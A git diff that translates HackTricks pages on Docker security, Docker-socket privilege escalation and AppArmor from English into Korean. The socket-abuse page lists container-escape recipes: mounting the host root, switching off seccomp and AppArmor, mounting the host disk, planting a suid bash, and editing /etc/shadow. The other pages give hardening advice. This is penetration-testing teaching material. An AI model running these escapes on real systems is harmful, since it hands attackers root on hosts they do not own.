수 있습니다: {{#ref}} docker-privileged.md @@ -287,16 +247,13 @@ docker-privileged.md #### no-new-privileges -If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it. - -Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**. +공격자가 낮은 권한 사용자로 접근할 수 있는 컨테이너를 실행하는 경우, **잘못 구성된 suid 바이너리**가 있다면 공격자가 이를 악용하여 **컨테이너 내에서 권한을 상승시킬 수** 있습니다. 이는 그가 컨테이너에서 탈출할 수 있게 할 수 있습니다. +**`no-new-privileges`** 옵션을 활성화하여 컨테이너를 실행하면 **이러한 종류의 권한 상승을 방지할 수** 있습니다. ``` docker run -it --security-opt=no-new-privileges:true nonewpriv ``` - -#### Other - +#### 기타 ```bash #You can manually add/drop capabilities with --cap-add @@ -311,101 +268,96 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv # You can manually disable selinux in docker with --security-opt label:disable ``` +더 많은 **`--security-opt`** 옵션은 다음을 확인하세요: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) -For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) +## 기타 보안 고려사항 -## Other Security Considerations +### 비밀 관리: 모범 사례 -### Managing Secrets: Best Practices +비밀을 Docker 이미지에 직접 포함시키거나 환경 변수를 사용하는 것은 피하는 것이 중요합니다. 이러한 방법은 `docker inspect` 또는 `exec`와 같은 명령을 통해 컨테이너에 접근할 수 있는 모든 사람에게 민감한 정보를 노출합니다. -It's crucial to avoid embedding secrets directly in Docker images or using environment variables, as these methods expose your sensitive information to anyone with access to the container through commands like `docker inspect` or `exec`. +**Docker 볼륨**은 민감한 정보에 접근하기 위한 더 안전한 대안으로 권장됩니다. 이는 메모리 내의 임시 파일 시스템으로 활용될 수 있어 `docker inspect` 및 로깅과 관련된 위험을 완화합니다. 그러나 루트 사용자와 컨테이너에 `exec` 접근 권한이 있는 사용자는 여전히 비밀에 접근할 수 있습니다. -**Docker volumes** are a safer alternative, recommended for accessing sensitive information. They can be utilized as a temporary filesystem in memory, mitigating the risks associated with `docker inspect` and logging. However, root users and those with `exec` access to the container might still access the secrets. +**Docker 비밀**은 민감한 정보를 처리하기 위한 더욱 안전한 방법을 제공합니다. 이미지 빌드 단계에서 비밀이 필요한 인스턴스의 경우, **BuildKit**은 빌드 시간 비밀을 지원하여 빌드 속도를 향상시키고 추가 기능을 제공합니다. -**Docker secrets** offer an even more secure method for handling sensitive information. For instances requiring secrets during the image build phase, **BuildKit** presents an efficient solution with support for build-time secrets, enhancing build speed and providing additional features. +BuildKit을 활용하려면 세 가지 방법으로 활성화할 수 있습니다: -To leverage BuildKit, it can be activated in three ways: - -1. Through an environment variable: `export DOCKER_BUILDKIT=1` -2. By prefixing commands: `DOCKER_BUILDKIT=1 docker build .` -3. By enabling it by default in the Docker configuration: `{ "features": { "buildkit": true } }`, followed by a Docker restart. - -BuildKit allows for the use of build-time secrets with the `--secret` option, ensuring these secrets are not included in the image build cache or the final image, using a command like: +1. 환경 변수를 통해: `export DOCKER_BUILDKIT=1` +2. 명령어에 접두사를 붙여: `DOCKER_BUILDKIT=1 docker build .` +3. Docker 구성에서 기본적으로 활성화: `{ "features": { "buildkit": true } }`, 이후 Docker를 재시작합니다. +BuildKit은 `--secret` 옵션을 사용하여 빌드 시간 비밀을 사용할 수 있게 하여, 이러한 비밀이 이미지 빌드 캐시나 최종 이미지에 포함되지 않도록 합니다. ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` - -For secrets needed in a running container, **Docker Compose and Kubernetes** offer robust solutions. Docker Compose utilizes a `secrets` key in the service definition for specifying secret files, as shown in a `docker-compose.yml` example: - +실행 중인 컨테이너에서 필요한 비밀을 위해, **Docker Compose와 Kubernetes**는 강력한 솔루션을 제공합니다. Docker Compose는 비밀 파일을 지정하기 위해 서비스 정의에서 `secrets` 키를 사용합니다. 다음은 `docker-compose.yml` 예제입니다: ```yaml version: "3.7" services: - my_service: - image: centos:7 - entrypoint: "cat /run/secrets/my_secret" - secrets: - - my_secret +my_service: +image: centos:7 +entrypoint: "cat /run/secrets/my_secret" secrets: - my_secret: - file: ./my_secret_file.txt +- my_secret +secrets: +my_secret: +file: ./my_secret_file.txt ``` +이 구성은 Docker Compose로 서비스를 시작할 때 비밀을 사용할 수 있도록 허용합니다. -This configuration allows for the use of secrets when starting services with Docker Compose. - -In Kubernetes environments, secrets are natively supported and can be further managed with tools like [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes' Role Based Access Controls (RBAC) enhances secret management security, similar to Docker Enterprise. +Kubernetes 환경에서는 비밀이 기본적으로 지원되며 [Helm-Secrets](https://github.com/futuresimple/helm-secrets)와 같은 도구로 추가 관리할 수 있습니다. Kubernetes의 역할 기반 접근 제어(RBAC)는 Docker Enterprise와 유사하게 비밀 관리 보안을 강화합니다. ### gVisor -**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers. +**gVisor**는 Go로 작성된 애플리케이션 커널로, Linux 시스템 표면의 상당 부분을 구현합니다. 이는 애플리케이션과 호스트 커널 간의 **격리 경계를 제공하는** `runsc`라는 [Open Container Initiative (OCI)](https://www.opencontainers.org) 런타임을 포함합니다. `runsc` 런타임은 Docker 및 Kubernetes와 통합되어 샌드박스화된 컨테이너를 쉽게 실행할 수 있게 합니다. {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense. +**Kata Containers**는 경량 가상 머신을 사용하여 안전한 컨테이너 런타임을 구축하기 위해 노력하는 오픈 소스 커뮤니티로, 컨테이너처럼 느껴지고 작동하지만 **하드웨어 가상화** 기술을 사용하여 더 강력한 작업 부하 격리를 제공합니다. {% embed url="https://katacontainers.io/" %} -### Summary Tips +### 요약 팁 -- **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. -- Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. -- [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack. -- [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries. -- [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks. -- **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required. -- **Use** [**official docker images**](https://docs.docker.com/docker-hub/official_images/) **and require signatures** or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP. -- **Regularly** **rebuild** your images to **apply security patches to the host an images.** -- Manage your **secrets wisely** so it's difficult to the attacker to access them. -- If you **exposes the docker daemon use HTTPS** with client & server authentication. -- In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesn’t have these capabilities. Whenever possible, avoid using ADD so you aren’t susceptible to attacks through remote URLs and Zip files. -- Have **separate containers for each micro-s**ervice -- **Don’t put ssh** inside container, “docker exec” can be used to ssh to Container. -- Have **smaller** container **images** +- **`--privileged` 플래그를 사용하지 않거나** [**Docker 소켓을 컨테이너 내부에 마운트하지 마십시오**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker 소켓은 컨테이너를 생성할 수 있게 하므로, 예를 들어 `--privileged` 플래그로 다른 컨테이너를 실행하여 호스트를 완전히 제어할 수 있는 쉬운 방법입니다. +- **컨테이너 내부에서 root로 실행하지 마십시오.** [**다른 사용자**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **를 사용하고** [**사용자 네임스페이스**](https://docs.docker.com/engine/security/userns-remap/)**를 사용하십시오.** 컨테이너의 root는 사용자 네임스페이스로 재매핑되지 않는 한 호스트의 root와 동일합니다. 이는 주로 Linux 네임스페이스, 기능 및 cgroups에 의해 약간 제한됩니다. +- [**모든 기능을 제거하십시오**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) 및 필요한 기능만 활성화하십시오** (`--cap-add=...`). 많은 작업 부하에는 기능이 필요하지 않으며, 이를 추가하면 잠재적인 공격 범위가 증가합니다. +- [**“no-new-privileges” 보안 옵션을 사용하십시오**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **.** 이는 프로세스가 suid 바이너리를 통해 더 많은 권한을 얻지 못하도록 방지합니다. +- [**컨테이너에 사용할 수 있는 리소스를 제한하십시오**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** 리소스 제한은 서비스 거부 공격으로부터 머신을 보호할 수 있습니다. +- **seccomp** [**조정하십시오**](https://docs.docker.com/engine/security/seccomp/), **AppArmor** [**(또는 SELinux)**](https://docs.docker.com/engine/security/apparmor/) 프로파일을 조정하여 컨테이너에 필요한 최소한의 작업 및 시스템 호출만 허용하십시오. +- **공식 Docker 이미지를 사용하고** [**서명을 요구하십시오**](https://docs.docker.com/docker-hub/official_images/) **또는 이를 기반으로 직접 빌드하십시오.** 백도어가 있는 이미지를 상속하거나 사용하지 마십시오. 또한 루트 키와 비밀번호를 안전한 장소에 보관하십시오. Docker는 UCP로 키를 관리할 계획이 있습니다. +- **정기적으로** **이미지를 재빌드하여 호스트와 이미지에 보안 패치를 적용하십시오.** +- **비밀을 현명하게 관리하여 공격자가 접근하기 어렵게 하십시오.** +- Docker 데몬을 **노출하는 경우 HTTPS를 사용하십시오** 클라이언트 및 서버 인증과 함께. +- Dockerfile에서 **ADD 대신 COPY를 선호하십시오.** ADD는 자동으로 압축된 파일을 추출하고 URL에서 파일을 복사할 수 있습니다. COPY는 이러한 기능이 없습니다. 가능한 경우 ADD 사용을 피하여 원격 URL 및 Zip 파일을 통한 공격에 취약하지 않도록 하십시오. +- 각 마이크로 서비스에 대해 **별도의 컨테이너를 가지십시오.** +- **컨테이너 내부에 ssh를 두지 마십시오.** “docker exec”를 사용하여 컨테이너에 ssh할 수 있습니다. +- **더 작은** 컨테이너 **이미지를 가지십시오.** -## Docker Breakout / Privilege Escalation +## Docker 탈출 / 권한 상승 -If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**: +당신이 **docker 컨테이너 내부에 있거나** **docker 그룹의 사용자에 접근할 수 있다면**, **탈출하고 권한을 상승시키려고 시도할 수 있습니다**: {{#ref}} docker-breakout-privilege-escalation/ {{#endref}} -## Docker Authentication Plugin Bypass +## Docker 인증 플러그인 우회 -If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:** +Docker 소켓에 접근하거나 **docker 그룹의 사용자에 접근할 수 있지만** Docker 인증 플러그인에 의해 행동이 제한되고 있다면, **우회할 수 있는지 확인하십시오**: {{#ref}} authz-and-authn-docker-access-authorization-plugin.md {{#endref}} -## Hardening Docker +## Docker 강화 -- The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ - You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +- 도구 [**docker-bench-security**](https://github.com/docker/docker-bench-security)는 프로덕션에서 Docker 컨테이너를 배포할 때의 수십 가지 일반적인 모범 사례를 확인하는 스크립트입니다. 테스트는 모두 자동화되어 있으며, [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)을 기반으로 합니다.\ +Docker를 실행하는 호스트 또는 충분한 권한이 있는 컨테이너에서 도구를 실행해야 합니다. **README에서 실행 방법을 확인하십시오:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). -## References +## 참고 문헌 - [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) - [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936) @@ -421,12 +373,4 @@ authz-and-authn-docker-access-authorization-plugin.md - [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) - [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index a23a6b769..eb60ef71b 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -1,43 +1,43 @@ -# Abusing Docker Socket for Privilege Escalation +# Docker 소켓을 이용한 권한 상승 {{#include ../../../banners/hacktricks-training.md}} -There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges: +때때로 **docker 소켓에 접근**할 수 있고 이를 사용하여 **권한을 상승**시키고 싶을 때가 있습니다. 일부 작업은 매우 의심스러울 수 있으므로 피하고 싶을 수 있습니다. 여기서는 권한 상승에 유용할 수 있는 다양한 플래그를 찾을 수 있습니다: -### Via mount +### 마운트를 통한 방법 -You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\ -You could also **abuse a mount to escalate privileges** inside the container. +루트로 실행 중인 컨테이너에서 **파일 시스템**의 다양한 부분을 **마운트**하고 **접근**할 수 있습니다.\ +컨테이너 내부에서 권한을 상승시키기 위해 **마운트를 악용**할 수도 있습니다. -- **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.** - - If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like: - - `--privileged` - - `--cap-add=ALL` - - `--security-opt apparmor=unconfined` - - `--security-opt seccomp=unconfined` - - `-security-opt label:disable` - - `--pid=host` - - `--userns=host` - - `--uts=host` - - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt` - - Run `fdisk -l` in the host to find the `` device to mount -- **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**. +- **`-v /:/host`** -> 호스트 파일 시스템을 컨테이너에 마운트하여 **호스트 파일 시스템을 읽을 수 있습니다.** +- 호스트에 있는 것처럼 느끼고 싶지만 컨테이너에 있는 경우, 다음과 같은 플래그를 사용하여 다른 방어 메커니즘을 비활성화할 수 있습니다: +- `--privileged` +- `--cap-add=ALL` +- `--security-opt apparmor=unconfined` +- `--security-opt seccomp=unconfined` +- `-security-opt label:disable` +- `--pid=host` +- `--userns=host` +- `--uts=host` +- `--cgroupns=host` +- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> 이전 방법과 유사하지만 여기서는 **디바이스 디스크를 마운트**하고 있습니다. 그런 다음, 컨테이너 내부에서 `mount /dev/sda1 /mnt`를 실행하면 **/mnt**에서 **호스트 파일 시스템에 접근**할 수 있습니다. +- 호스트에서 `fdisk -l`을 실행하여 마운트할 `` 디바이스를 찾습니다. +- **`-v /tmp:/host`** -> 어떤 이유로 호스트에서 **특정 디렉토리만 마운트**할 수 있고 호스트 내부에 접근할 수 있는 경우, 이를 마운트하고 마운트된 디렉토리에 **suid**가 있는 **`/bin/bash`**를 생성하여 **호스트에서 실행하고 루트로 상승**할 수 있습니다. > [!NOTE] -> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +> `/tmp` 폴더를 마운트할 수 없을 수도 있지만 **다른 쓰기 가능한 폴더**를 마운트할 수 있다는 점에 유의하세요. 쓰기 가능한 디렉토리는 `find / -writable -type d 2>/dev/null`를 사용하여 찾을 수 있습니다. > -> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +> **리눅스 머신의 모든 디렉토리가 suid 비트를 지원하는 것은 아닙니다!** suid 비트를 지원하는 디렉토리를 확인하려면 `mount | grep -v "nosuid"`를 실행하세요. 예를 들어 일반적으로 `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup`, `/var/lib/lxcfs`는 suid 비트를 지원하지 않습니다. > -> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +> 또한 **`/etc`** 또는 **구성 파일이 포함된 다른 폴더**를 마운트할 수 있는 경우, 컨테이너에서 루트로 이를 변경하여 **호스트에서 악용**하고 권한을 상승시킬 수 있습니다 (예: `/etc/shadow` 수정). -### Escaping from the container +### 컨테이너에서 탈출하기 -- **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). -- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work. +- **`--privileged`** -> 이 플래그를 사용하면 [컨테이너의 모든 격리를 제거합니다](docker-privileged.md#what-affects). [루트로 권한 상승하기 위한 탈출 기술](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)을 확인하세요. +- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [권한을 악용하여 상승시키기 위해](../linux-capabilities.md), **해당 권한을 컨테이너에 부여하고** 익스플로잇이 작동하지 못하게 하는 다른 보호 방법을 비활성화합니다. ### Curl -In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page: +이 페이지에서는 docker 플래그를 사용하여 권한을 상승시키는 방법에 대해 논의했습니다. **curl** 명령을 사용하여 이러한 방법을 악용하는 **방법을 찾을 수 있습니다**: {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md index 0455067e0..e3e7a3041 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -2,31 +2,30 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -AppArmor is a **kernel enhancement designed to restrict the resources available to programs through per-program profiles**, effectively implementing Mandatory Access Control (MAC) by tying access control attributes directly to programs instead of users. This system operates by **loading profiles into the kernel**, usually during boot, and these profiles dictate what resources a program can access, such as network connections, raw socket access, and file permissions. +AppArmor는 **프로그램별 프로필을 통해 프로그램에 사용할 수 있는 리소스를 제한하도록 설계된 커널 향상 기능**으로, 접근 제어 속성을 사용자 대신 프로그램에 직접 연결하여 강제 접근 제어(MAC)를 효과적으로 구현합니다. 이 시스템은 **부팅 중에 프로필을 커널에 로드**하여 작동하며, 이러한 프로필은 프로그램이 접근할 수 있는 리소스(예: 네트워크 연결, 원시 소켓 접근 및 파일 권한)를 규정합니다. -There are two operational modes for AppArmor profiles: +AppArmor 프로필에는 두 가지 운영 모드가 있습니다: -- **Enforcement Mode**: This mode actively enforces the policies defined within the profile, blocking actions that violate these policies and logging any attempts to breach them through systems like syslog or auditd. -- **Complain Mode**: Unlike enforcement mode, complain mode does not block actions that go against the profile's policies. Instead, it logs these attempts as policy violations without enforcing restrictions. +- **강제 모드**: 이 모드는 프로필 내에서 정의된 정책을 적극적으로 시행하며, 이러한 정책을 위반하는 행동을 차단하고 syslog 또는 auditd와 같은 시스템을 통해 위반 시도를 기록합니다. +- **불만 모드**: 강제 모드와 달리 불만 모드는 프로필의 정책에 반하는 행동을 차단하지 않습니다. 대신, 이러한 시도를 정책 위반으로 기록하되 제한을 시행하지 않습니다. -### Components of AppArmor +### AppArmor의 구성 요소 -- **Kernel Module**: Responsible for the enforcement of policies. -- **Policies**: Specify the rules and restrictions for program behavior and resource access. -- **Parser**: Loads policies into the kernel for enforcement or reporting. -- **Utilities**: These are user-mode programs that provide an interface for interacting with and managing AppArmor. +- **커널 모듈**: 정책 시행을 담당합니다. +- **정책**: 프로그램 동작 및 리소스 접근에 대한 규칙과 제한을 지정합니다. +- **파서**: 정책을 커널에 로드하여 시행 또는 보고합니다. +- **유틸리티**: AppArmor와 상호작용하고 관리하기 위한 인터페이스를 제공하는 사용자 모드 프로그램입니다. -### Profiles path +### 프로필 경로 -Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\ -With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder. +AppArmor 프로필은 일반적으로 _**/etc/apparmor.d/**_에 저장됩니다.\ +`sudo aa-status`를 사용하면 일부 프로필에 의해 제한된 바이너리를 나열할 수 있습니다. 나열된 각 바이너리의 경로에서 문자 "/"를 점으로 변경하면 언급된 폴더 내의 AppArmor 프로필 이름을 얻을 수 있습니다. -For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_ - -### Commands +예를 들어, _/usr/bin/man_에 대한 **AppArmor** 프로필은 _/etc/apparmor.d/usr.bin.man_에 위치합니다. +### 명령어 ```bash aa-status #check the current status aa-enforce #set profile to enforce mode (from disable or complain) @@ -36,47 +35,41 @@ aa-genprof #generate a new profile aa-logprof #used to change the policy when the binary/program is changed aa-mergeprof #used to merge the policies ``` +## 프로필 생성 -## Creating a profile - -- In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files. -- To indicate the access the binary will have over **files** the following **access controls** can be used: - - **r** (read) - - **w** (write) - - **m** (memory map as executable) - - **k** (file locking) - - **l** (creation hard links) - - **ix** (to execute another program with the new program inheriting policy) - - **Px** (execute under another profile, after cleaning the environment) - - **Cx** (execute under a child profile, after cleaning the environment) - - **Ux** (execute unconfined, after cleaning the environment) -- **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \ to the profile file) -- **Deny rules are supported to override allow rules**. +- 영향을 받는 실행 파일을 나타내기 위해 **절대 경로 및 와일드카드**가 파일을 지정하는 데 허용됩니다. +- 바이너리가 **파일**에 대해 가질 접근을 나타내기 위해 다음 **접근 제어**를 사용할 수 있습니다: +- **r** (읽기) +- **w** (쓰기) +- **m** (실행 가능한 메모리 맵) +- **k** (파일 잠금) +- **l** (하드 링크 생성) +- **ix** (새 프로그램이 정책을 상속받아 다른 프로그램을 실행) +- **Px** (환경을 정리한 후 다른 프로필에서 실행) +- **Cx** (환경을 정리한 후 자식 프로필에서 실행) +- **Ux** (환경을 정리한 후 제한 없이 실행) +- **변수**는 프로필에서 정의할 수 있으며 프로필 외부에서 조작할 수 있습니다. 예: @{PROC} 및 @{HOME} (프로필 파일에 #include \ 추가) +- **허용 규칙을 무시하기 위해 거부 규칙이 지원됩니다**. ### aa-genprof -To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\ -You just need to run: - +프로필 생성을 쉽게 시작하기 위해 apparmor가 도움을 줄 수 있습니다. **apparmor가 바이너리에 의해 수행된 작업을 검사하고 어떤 작업을 허용하거나 거부할지 결정할 수 있게 해줍니다**.\ +단지 다음을 실행하면 됩니다: ```bash sudo aa-genprof /path/to/binary ``` - -Then, in a different console perform all the actions that the binary will usually perform: - +그런 다음, 다른 콘솔에서 바이너리가 일반적으로 수행할 모든 작업을 수행합니다: ```bash /path/to/binary -a dosomething ``` - -Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_ +그런 다음 첫 번째 콘솔에서 "**s**"를 누르고 기록된 작업에서 무시할지, 허용할지 또는 다른 작업을 선택합니다. 완료되면 "**f**"를 눌러 새 프로필이 _/etc/apparmor.d/path.to.binary_에 생성됩니다. > [!NOTE] -> Using the arrow keys you can select what you want to allow/deny/whatever +> 화살표 키를 사용하여 허용/거부/기타 작업을 선택할 수 있습니다. ### aa-easyprof -You can also create a template of an apparmor profile of a binary with: - +이진 파일의 apparmor 프로필 템플릿을 다음과 같이 생성할 수 있습니다: ```bash sudo aa-easyprof /path/to/binary # vim:syntax=apparmor @@ -90,40 +83,34 @@ sudo aa-easyprof /path/to/binary # No template variables specified "/path/to/binary" { - #include +#include - # No abstractions specified +# No abstractions specified - # No policy groups specified +# No policy groups specified - # No read paths specified +# No read paths specified - # No write paths specified +# No write paths specified } ``` - > [!NOTE] -> Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example. - -You can then **enforce** the new profile with +> 기본적으로 생성된 프로필에서는 아무것도 허용되지 않으므로 모든 것이 거부됩니다. 예를 들어, 이진 파일이 `/etc/passwd`를 읽을 수 있도록 `/etc/passwd r,`와 같은 줄을 추가해야 합니다. +그런 다음 **enforce** 새 프로필을 사용하여 ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` +### 로그에서 프로필 수정 -### Modifying a profile from logs - -The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions: - +다음 도구는 로그를 읽고 사용자가 감지된 금지된 작업 중 일부를 허용할 것인지 물어봅니다: ```bash sudo aa-logprof ``` - > [!NOTE] -> Using the arrow keys you can select what you want to allow/deny/whatever - -### Managing a Profile +> 화살표 키를 사용하여 허용/거부/기타 원하는 항목을 선택할 수 있습니다. +### 프로필 관리 ```bash #Main profile management commands apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode @@ -131,18 +118,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` - ## Logs Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**: - ```bash type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 ``` - -You can also get this information using: - +이 정보를 다음을 사용하여 얻을 수도 있습니다: ```bash sudo aa-notify -s 1 -v Profile: /bin/service_bin @@ -160,126 +143,105 @@ Logfile: /var/log/audit/audit.log AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` +## Docker의 Apparmor -## Apparmor in Docker - -Note how the profile **docker-profile** of docker is loaded by default: - +docker의 프로파일 **docker-profile**이 기본적으로 로드되는 방식을 주목하세요: ```bash sudo aa-status apparmor module is loaded. 50 profiles are loaded. 13 profiles are in enforce mode. - /sbin/dhclient - /usr/bin/lxc-start - /usr/lib/NetworkManager/nm-dhcp-client.action - /usr/lib/NetworkManager/nm-dhcp-helper - /usr/lib/chromium-browser/chromium-browser//browser_java - /usr/lib/chromium-browser/chromium-browser//browser_openjdk - /usr/lib/chromium-browser/chromium-browser//sanitized_helper - /usr/lib/connman/scripts/dhclient-script - docker-default +/sbin/dhclient +/usr/bin/lxc-start +/usr/lib/NetworkManager/nm-dhcp-client.action +/usr/lib/NetworkManager/nm-dhcp-helper +/usr/lib/chromium-browser/chromium-browser//browser_java 